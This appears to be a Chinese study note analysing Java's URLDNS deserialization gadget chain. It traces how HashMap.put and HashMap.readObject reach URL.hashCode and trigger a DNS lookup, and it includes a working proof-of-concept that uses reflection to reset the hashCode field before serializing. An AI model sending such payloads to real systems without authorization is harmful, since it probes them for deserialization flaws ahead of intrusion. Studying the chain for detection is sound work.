HashMap的put

查看HashMap这个类的put()方法：

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

调用了hash()方法，跟进hash()方法：

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里调用了传入参数的hashCode()方法。而URL类中就有一个这样的方法：

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

可以看到在该方法中，如果hashCode != -1那么就会调用handler.hashCode(this)，继续跟进：

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

在这个方法中，InetAddress addr = getHostAddress(u);这行代码就会根据URL来获取对应的IP地址，进而产生一个DNS解析。payload如下：

public static void main(String[] args) throws MalformedURLException {
    HashMap map = new HashMap<>();
    URL url = new URL("xxx");
    map.put(url,"hi");
}

HashMap的readObject

该部分源码如下：

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

可以看到这个自定义的反序列代码最后一行同样调用了hash()方法，所以这里也可以产生DNS解析。payload:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class study2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap map = new HashMap<>();
        URL url = new URL("xxx");

        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        // 将hashCode设置为222，否则put将产生一次DNS解析
        fieldhashcode.set(url,222);
        map.put(url,"hello");
        // 在序列化前将url的hashCode设置为-1，这样在反序列化时就可以调用handler的hashCode
        fieldhashcode.set(url,-1);
        se(map);
        HashMap map1 = (HashMap) unse();
    }
    public static void se(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fileOut = new FileOutputStream("bin.ser");
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(obj);
        out.close();
        fileOut.close();
    }
    public static Object unse() throws IOException, ClassNotFoundException {
        FileInputStream fileIn = new FileInputStream("bin.ser");
        ObjectInputStream in = new ObjectInputStream(fileIn);
        Object obj = in.readObject();
        in.close();
        fileIn.close();
        return obj;
    }
}

总结

URLDNS虽然不能直接利用去产生一些危害，但是通常可以使用这条链去检测反序列化漏洞。原因就是因为这个链并不需要依赖第三方库，而且不需要回显。

根据两种方式的相同之处绘制出的流程图如下：

image-20240207212318442